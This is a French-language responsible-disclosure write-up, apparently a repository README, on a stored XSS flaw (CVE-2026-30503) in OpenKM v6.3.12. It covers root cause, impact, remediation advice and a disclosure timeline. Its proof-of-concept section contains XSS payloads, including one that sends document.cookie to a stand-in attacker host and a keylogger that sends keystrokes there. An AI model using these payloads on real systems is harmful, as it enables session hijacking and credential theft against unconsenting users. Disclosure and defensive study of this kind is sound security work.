
Divulgation détaillée de CVE-2026-30503, une vulnérabilité XSS stockée dans OpenKM v6.3.12. Comprend l'analyse de la cause racine, les charges utiles PoC, l'évaluation de l'impact et les recommandations de correction pour les chercheurs en sécurité et les pentesteurs.
Découvert et signalé par Dharmendra Kumar — Chercheur en sécurité
Cybersécurité | Test d'intrusion | Recherche de vulnérabilités | Divulgation responsable
Ce dépôt documente la divulgation responsable de CVE-2026-30503, une vulnérabilité de Cross-Site Scripting stocké (XSS stocké) identifiée dans OpenKM v6.3.12 — un système de gestion de documents open-source largement utilisé dans les environnements d'entreprise.
La vulnérabilité permet à un attaquant authentifié d'injecter du JavaScript malveillant persistant dans l'application, qui s'exécute dans le contexte navigateur de tout utilisateur (y compris les administrateurs) qui consulte ultérieurement le contenu affecté.
⚠️ Sévérité : Élevée | Vecteur d'attaque : Réseau | Privilèges requis : Faibles | Interaction utilisateur : Requise
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-30503 |
| Produit | OpenKM |
| Version affectée | v6.3.12 |
| Classe de vulnérabilité | Cross-Site Scripting stocké (XSS stocké) |
| CWE | CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération de pages web |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Chercheur | Dharmendra Kumar |
| Type de divulgation | Responsable / Coordonnée |
OpenKM est un système de gestion de documents (DMS) gratuit et open-source qui fournit une interface web pour gérer, auditer et distribuer des documents professionnels. Il est utilisé par des entreprises, des organismes gouvernementaux et des établissements d'enseignement dans le monde entier.
v6.3.12De multiples vulnérabilités de Cross-Site Scripting stocké (XSS stocké) ont été découvertes dans OpenKM v6.3.12. Un attaquant disposant d'un accès authentifié à faibles privilèges peut injecter des charges utiles JavaScript arbitraires dans un ou plusieurs champs de saisie. Ces charges utiles sont stockées de manière permanente dans le backend de l'application et exécutées automatiquement dès que tout utilisateur — y compris les administrateurs — accède à la page ou au composant concerné.
Contrairement au XSS réfléchi, qui nécessite que la victime clique sur un lien spécialement conçu, les charges utiles de XSS stocké sont intégrées dans l'application elle-même, ce qui les rend nettement plus dangereuses et persistantes.
La vulnérabilité provient de trois faiblesses combinées dans le pipeline de traitement des entrées de l'application :
User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
| Faiblesse | Description |
|---|---|
| ❌ Validation d'entrée manquante | L'application ne restreint ni ne nettoie les caractères spéciaux (<, >, ", ', ;) dans les champs fournis par l'utilisateur |
| ❌ Encodage de sortie manquant | Les valeurs stockées sont rendues directement dans le HTML sans encodage en entités HTML |
| ❌ Rendu DOM non sécurisé | Les données fournies par l'utilisateur sont intégrées dans le contexte DOM sans CSP ni contrôles de nettoyage |
Une exploitation réussie de cette vulnérabilité peut entraîner :
| Risque | Description |
|---|---|
| 🍪 Vol de session | Voler les jetons de session authentifiés via l'exfiltration de document.cookie |
| 👤 Prise de contrôle de compte | Compromettre les comptes des victimes, y compris les comptes administrateur |
| 🔐 Capture de mots de passe | Injecter des formulaires de phishing pour capturer les identifiants de connexion |
| 📤 Exfiltration de données | Extraire silencieusement des documents ou métadonnées sensibles du DMS |
| ⚙️ Actions non autorisées | Effectuer des opérations privilégiées au nom de la victime (supprimer/modifier des documents) |
| 🎯 Ciblage des administrateurs | La charge utile s'exécute dans le panneau d'administration lorsqu'un administrateur examine le contenu |
| 🔄 Propagation de ver | Charge utile XSS auto-réplicative pouvant se propager entre utilisateurs |
⚠️ Avertissement : Cette PoC est partagée strictement à des fins éducatives et de recherche en sécurité dans le cadre de principes de divulgation responsable. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
// PoC de base — démontre l'exécution de script
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Exfiltration du jeton de session
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Injection de keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| Recommandation | Mise en œuvre |
|---|---|
| ✅ Validation d'entrée | Whitelist des caractères autorisés ; rejeter ou supprimer les caractères spéciaux HTML sur toutes les entrées utilisateur |
| ✅ Encodage de sortie | Utiliser un encodage HTML contextuel (par ex., OWASP Java Encoder) avant de rendre les données en HTML |
| ✅ Politique de sécurité du contenu (CSP) | Implémenter un en-tête CSP strict : Content-Security-Policy: script-src 'self' |
| ✅ Cookies HTTPOnly et Secure | Définir les drapeaux HttpOnly et Secure sur tous les cookies de session pour empêcher l'accès JavaScript |
| ✅ Utiliser des bibliothèques de sécurité | Intégrer OWASP AntiSamy ou DOMPurify pour le nettoyage HTML |
| ✅ Revue de code de sécurité | Auditer tous les chemins de rendu pour les données contrôlées par l'utilisateur non nettoyées |
| ✅ Mise à jour | Appliquer le dernier correctif fourni par le fournisseur ou passer à une version corrigée |
| Date | Événement |
|---|---|
| 🔍 Découverte | Vulnérabilité identifiée lors de l'évaluation de sécurité d'OpenKM v6.3.12 |
| 📧 Notification au fournisseur | Rapport de divulgation initial soumis à l'équipe de sécurité d'OpenKM |
| 🤝 Accusé de réception du fournisseur | L'équipe OpenKM a accusé réception du rapport |
| 📝 Attribution CVE | CVE-2026-30503 attribué par le programme CVE |
| 🌐 Divulgation publique | Divulgation publique coordonnée après la période de correction |
Cette vulnérabilité a été divulguée conformément aux meilleures pratiques de divulgation responsable, en coordination avec le fournisseur et le programme CVE avant la publication publique.
Chercheur en sécurité | Testeur d'intrusion | Chasseur de bugs
Dharmendra Kumar est un chercheur en cybersécurité indépendant spécialisé dans la sécurité des applications web, les tests d'intrusion et la divulgation responsable de vulnérabilités. Axé sur l'identification de failles de sécurité réelles dans les logiciels largement utilisés, son travail contribue à améliorer la posture de sécurité des applications utilisées mondialement.
Domaines d'expertise :
Connecter :
Ce dépôt est destiné uniquement à des fins éducatives et d'information. Les détails de la vulnérabilité et les charges utiles de preuve de concept partagées ici sont publiés conformément aux principes de divulgation responsable. L'auteur n'approuve, n'encourage ni ne prend la responsabilité de toute utilisation non autorisée de ces informations. Obtenez toujours une autorisation écrite explicite avant d'effectuer des tests de sécurité sur un système.
Remerciements particuliers à :
⭐ Si cette recherche vous a été utile, pensez à mettre une étoile sur ce dépôt.
© 2026 Dharmendra Kumar — Tous droits réservés